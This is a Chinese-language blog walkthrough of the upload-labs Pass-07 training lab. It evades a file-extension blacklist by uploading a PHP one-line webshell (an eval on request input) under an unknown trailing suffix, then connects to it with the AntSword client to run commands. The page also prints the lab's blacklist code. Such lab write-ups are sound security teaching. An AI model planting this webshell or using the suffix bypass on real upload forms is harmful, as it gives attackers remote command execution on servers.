• upload-labs/Pass-07 未知后缀名解析漏洞复现


    upload-labs/Pass-07 漏洞复现

    页面:

    image-20230907170446095

    我们看到有一个图片上传功能。

    我们上传一个png文件发现能够成功上传,那其他文件呢,如php文件。

    我们看一下是否能上传一个php文件:

    php文件内容:

    
    	@eval($_REQUEST[])? //一句话木马
    	phpinfo(); //查看php的版本信息
    ?>
    
    • 1
    • 2
    • 3
    • 4

    点击上传:

    image-20230907170929911

    显示文件类型不允许上传。

    我们使用burpsuite抓一下包,修改一下文件类型为image/png

    image-20230907171855709

    我们发现还是不能上传。

    所以我们猜测此处对后缀名做了黑名单或者白名单过滤,如何查看是黑名单过滤还是白名单过滤呢?我们可以在php文件后面随便加一个后缀(随便写):

    ​ 例如我们这里写的是info.php.ghui

    image-20230907172339388

    我们发现文件成功上传,此时我们可以确定后缀名做了黑名单策略。

    查看源码

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    可以看到代码中做了一个后缀名的黑名单过滤。

    我们在现在查看一下我们刚刚上传上去的文件,上传的文件路径在upload 下:

    image-20230907172711850

    我们点击查看一下:

    image-20230907172804780

    发现phpinfo(); 成功执行了,这是因为后端识别不出来我们加的.ghui后缀名,所以就会舍弃.ghui,那么就变成了info.php ,所以php代码就成功执行了。

    那么是不是一句话木马也执行了呢?

    我们使用蚁剑进行连接:

    image-20230907173057477

    我们就可以打开虚拟终端执行命令了:

    image-20230907173512880

    完毕!!!

  • 相关阅读:
    关于tcp发送成功但对端无法接收情况的思考
    Python笔记 之 简单并发任务(线程/进程池)
    前端应用聚合整改
    第十课 贪心
    为什么五千块天价加急费都无法保证交期?
    算法 java 排序和查找
    【无标题】2022牛客蔚来杯第六场GJMBA
    NAS文件的名称或路径过长导致文件同步被挂起
    c++取经之路(其八)——基础模板
    IAR编译报错[a148]:intrinsic function “nounwind air builtin dsb“is not
  • 原文地址:https://blog.csdn.net/qq_45953122/article/details/132767179